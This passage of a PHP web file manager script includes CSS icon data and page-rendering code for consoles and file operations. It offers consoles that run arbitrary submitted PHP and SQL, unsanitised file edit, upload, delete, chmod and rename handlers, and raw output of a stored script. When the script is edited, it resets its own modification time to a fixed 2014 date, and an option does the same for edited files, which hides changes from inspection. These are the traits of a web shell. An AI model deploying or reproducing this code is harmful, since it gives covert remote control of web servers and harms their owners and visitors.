3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
